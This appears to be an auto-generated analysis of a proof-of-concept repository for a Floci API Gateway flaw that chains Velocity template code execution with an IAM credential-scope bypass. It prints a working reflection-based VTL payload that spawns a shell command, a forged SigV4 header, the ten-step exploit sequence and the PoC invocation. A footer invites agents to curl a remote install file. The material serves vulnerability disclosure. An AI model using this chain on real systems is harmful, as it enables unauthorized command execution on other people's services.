Floci API Gateway VTL RCE Vulnerability: Attack Vector and Exploit Analysis
The floci-apigateway-vtl-rce-poc vulnerability exploits two coupled attack vectors: unsandboxed Apache Velocity template evaluation enabling remote code execution, combined with an IAM credential-scope bypass that allows unauthorized control-plane access.
The floci-apigateway-vtl-rce-poc vulnerability in the Floci API Gateway implementation demonstrates how loosely coupled security controls can collapse when template engines meet improper authorization checks. This analysis dissects the complete attack surface, tracing how malicious Velocity Template Language (VTL) payloads achieve arbitrary command execution and how a SigV4 parsing flaw permits bypass of IAM enforcement entirely.
VTL Remote Code Execution Vector
The primary floci-apigateway-vtl-rce-poc vector leverages unsandboxed template evaluation within Floci's API Gateway integration response pipeline.
How Template Evaluation Becomes Code Execution
Floci's VtlTemplateEngine constructs a default Apache Velocity engine instance without security hardening. The engine exposes a helper object $util in the template context, and critically, this object retains access to Java's full reflection API.
According to the source analysis at lines 73–79, the template engine initialization builds a context where $util.getClass() returns a Class object. From there, a malicious template can traverse:
$util.getClass().forName('java.lang.ProcessBuilder')— obtain the ProcessBuilder class.getConstructor(java.util.List)— retrieve the list-accepting constructor.newInstance(commandList)— instantiate with attacker-controlled arguments.start()— spawn the process inside the Floci JVM
The spawned process inherits the full privileges of the Floci service account, not a restricted sandbox.
Malicious VTL Payload
#set($pbClass=$util.getClass().forName('java.lang.ProcessBuilder'))
#set($listClass=$util.getClass().forName('java.util.List'))
#set($ctor=$pbClass.getConstructor($listClass))
#set($cmd=$util.parseJson('["sh","-c","id > /tmp/floci_vtl_rce"]'))
#set($pb=$ctor.newInstance($cmd))
#set($p=$pb.start())
#set($exit=$p.waitFor())
{"ok":true,"exit":"$exit"}
This payload, excerpted from README.md lines 139–147, demonstrates the reflection chain. The $util.parseJson() function provides a convenient vector for injecting arbitrary command arrays without template syntax escaping issues.
IAM Wrong-Scope Bypass Vector
The secondary floci-apigateway-vtl-rce-poc vector enables the entire exploit chain by subverting IAM authorization through credential-scope manipulation.
SigV4 Parsing Logic Flaw
IAM enforcement in Floci derives the target service name from the SigV4 credential-scope field, formatted as access_key/YYYYMMDD/region/SERVICE/aws4_request. The enforcement code:
- Parses the credential string to extract the
<service>component - Performs an action mapping lookup based on that service name
- Fails open when the service is unrecognized — returning
nullpermits the request
As documented at lines 91–105, if an attacker specifies iam as the service instead of apigateway, the lookup returns null, and the filter interprets this as allowed. This permits denied or low-privilege credentials to execute the full API Gateway control-plane sequence.
Bypass Request Structure
Authorization: AWS4-HMAC-SHA256
Credential=AKIAEXAMPLE/20260623/us-east-1/iam/aws4_request,
SignedHeaders=host;x-amz-date,
Signature=...
By forging the credential-scope to use iam (lines 107–112), the attacker sidesteps API Gateway-specific IAM restrictions while still invoking API Gateway endpoints.
Complete Exploit Flow
The floci-apigateway-vtl-rce-poc vulnerability requires ten sequential control-plane operations before triggering execution, enumerated at README.md lines 118–130:
| Step | Operation | Purpose |
|---|---|---|
| 1 | POST /restapis |
Create REST API container |
| 2 | GET /restapis/{apiId}/resources |
Enumerate resource structure |
| 3 | POST /restapis/{apiId}/resources/{rootId} |
Create child resource |
| 4 | PUT .../methods/GET |
Attach GET method |
| 5 | PUT .../methods/GET/responses/200 |
Define 200 response |
| 6 | PUT .../methods/GET/integration |
Configure MOCK integration |
| 7 | PUT .../integration/responses/200 |
Store malicious VTL template |
| 8 | POST .../deployments |
Create deployment |
| 9 | POST .../stages |
Create production stage |
| 10 | GET /execute-api/{apiId}/prod/rce |
Trigger template evaluation |
Each control-plane request (steps 1–9) can carry the --bypass-iam flag, injecting the iam credential-scope to evade authorization checks.
Exploitation Tooling
The repository provides complete proof-of-concept implementations demonstrating the floci-apigateway-vtl-rce-poc vectors in practice.
Python PoC Driver
python3 poc.py \
--host 127.0.0.1 \
--port 4566 \
--bypass-iam \
--auth-access-key AKIAEXAMPLE \
--argv sh -c 'id > /tmp/floci_vtl_rce'
The poc.py driver at floci-apigateway-vtl-rce-poc/poc.py automates the ten-step sequence. When invoked with --bypass-iam, it generates SigV4 headers with iam service scope per lines 55–68.
Key Repository Files
| File | Location | Purpose |
|---|---|---|
poc.py |
floci-apigateway-vtl-rce-poc/poc.py |
Python driver for automated exploitation |
README.md |
floci-apigateway-vtl-rce-poc/README.md |
Full vulnerability documentation and root-cause analysis |
| Verification transcript | evidence/2026-06-23-local-verification.txt |
Successful exploitation evidence with marker file output |
Summary
- Primary vector: Unsandboxed Apache Velocity evaluation in
VtlTemplateEnginepermits arbitrary Java reflection, enablingProcessBuilderinstantiation and command execution. - Secondary vector: IAM enforcement fails open on unrecognized SigV4 credential-scope services, allowing
iam-scoped requests to bypass API Gateway authorization. - Combined impact: Low-privilege or denied credentials can create, configure, and invoke malicious API Gateway endpoints achieving full RCE.
- Critical files:
VtlTemplateEngineconstruction (lines 73–79), IAM scope parsing (lines 91–96), and null-action allowance (lines 100–105) contain the vulnerable logic.
Frequently Asked Questions
How does the VTL template achieve code execution without native function calls?
The template uses Java reflection through $util.getClass(). Since $util is a Java object in the Velocity context, calling getClass() returns a Class<?> instance with full reflection capabilities. This allows dynamic lookup and instantiation of java.lang.ProcessBuilder without requiring any pre-registered dangerous functions in the template engine.
Can the vulnerability be exploited without the IAM bypass?
Only if the attacker possesses valid, authorized API Gateway credentials. The IAM bypass vector (lines 91–112) is necessary when credentials lack apigateway:* permissions but the enforcement logic permits arbitrary service scopes. With legitimate high-privilege credentials, steps 1–9 execute normally.
What makes the IAM check fail open rather than fail closed?
The authorization filter treats null action mappings as allowed rather than denied. When credential-scope parsing extracts iam instead of apigateway, the service-to-action lookup returns null (no mapping defined for non-API-Gateway services). The subsequent null-check logic omits a default-deny clause, creating the bypass condition at lines 100–105.
Is there any sandboxing mechanism available in the Velocity engine?
The VtlTemplateEngine construction at lines 73–79 uses default Apache Velocity settings without SecureUberspector or custom MethodExceptionEventHandler. Standard Velocity sandboxing would require explicitly configuring runtime.introspector.uberspect to a security-aware implementation, which Floci's integration omits.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →